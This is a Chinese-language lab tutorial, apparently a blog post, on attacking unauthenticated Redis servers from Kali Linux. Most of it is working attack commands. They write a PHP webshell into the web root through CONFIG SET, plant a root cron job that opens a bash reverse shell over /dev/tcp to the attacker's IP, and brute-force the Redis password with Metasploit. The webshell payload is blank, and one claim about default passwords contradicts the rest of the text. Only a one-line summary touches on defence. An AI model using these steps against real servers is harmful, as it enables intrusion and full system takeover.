Redis是一款跨平台的非关系型数据库,它支持多种数据类型,包括字符串、哈希表、列表、集合、有序集合和位图等。Redis能够将数据保存在内存中,并在需要时持久化到磁盘,使得重启后可以重新加载并使用数据。
Redis漏洞
Redis默认使用6379端口,如果未设置密码或者密码较弱,公网上的Redis服务容易受到未经授权的访问。攻击者可以利用Redis的命令执行任意操作,包括读取数据和写入文件,从而获取系统权限。
实验环境
- 受害端:CentOS 7(公网)
- 攻击端:Kali Linux
安装步骤
首先,在CentOS中安装Redis:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz # 下载
tar xzf redis-2.8.17.tar.gz # 解压
cd redis-2.8.17
make # 编译
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf
启动和注意事项
启动Redis服务前需确保防火墙和安全组已开放6379端口。
未授权访问测试
在Kali中执行以下命令进行未授权访问测试:
redis-cli -h 8.219.xxx.xxx
成功连接后,可进行后续操作。
利用Redis写入Webshell
在写入Webshell前,需知道Web站点的路径。假设站点路径为/var/www/html,执行以下命令:
config set dir /var/www/html # 设置目录
config set dbfilename kali.php # 生成文件
set xxx “\r\n\r\n\r\n\r\n” # 写入内容
save # 保存
写入成功后,访问相应文件即可。
反弹Shell
在Kali中使用nc监听端口:
nc -lvp 5555
然后通过Redis创建定时任务文件,从而上线nc:
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx “\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n”
save
Redis密码破解
一般情况下,Redis会设置默认密码。可以使用Metasploit进行密码破解:
msfconsole
use auxiliary/scanner/redis/redis_login
set RHOSTS 8.219.xxx.xxx
set PASS_FILE /root/22.txt # 密码字典
run
成功破解后,即可进行进一步操作。
总结
Redis的漏洞容易被攻击利用,因此在配置和使用时需格外小心,及时修补漏洞以保证系统安全。
暂无评论内容